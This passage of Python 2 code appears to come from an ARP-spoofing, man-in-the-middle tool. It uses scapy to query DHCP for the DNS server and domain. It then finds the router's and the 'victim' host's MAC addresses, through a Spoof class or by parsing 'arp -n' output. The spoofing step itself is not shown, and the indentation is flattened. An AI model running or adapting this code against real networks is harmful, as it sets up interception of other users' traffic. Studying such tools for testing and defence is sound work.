chr(DHCPRevOptions["name_server"][0]),
), "end"]))
ans, unans = srp(dhcp, timeout=6, retry=1)
if ans:
for s,r in ans:
DHCPopt = r[0][DHCP].options
DHCPsrvr = r[0][IP].src
for x in DHCPopt:
if 'domain' in x:
local_domain = x[1]
pass
else:
local_domain = 'None'
if 'name_server' in x:
dnsIP = x[1]
else:
print "[-] No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP."
dnsIP = routerIP
DHCPsrvr = routerIP
local_domain = 'None'
# Print the vars
print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
if args.routermac:
routerMAC = args.routermac
print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: "+routerMAC+'\n')
else:
try:
routerMAC = Spoof().originalMAC(routerIP)
print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: "+routerMAC+'\n')
except:
try:
print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache"
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
split_lines = arpcache.communicate()[0].splitlines()
print split_lines[1],'\n'
arpoutput = split_lines[1].split()
print arpoutput,'\n'
routerMAC = arpoutput[2]
print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: "+routerMAC+'\n')
except:
sys.exit("[-] [arp -n] failed to give accurate router MAC address")
if args.victimmac:
victimMAC = args.victimmac
print "[*] Victim MAC: " + victimMAC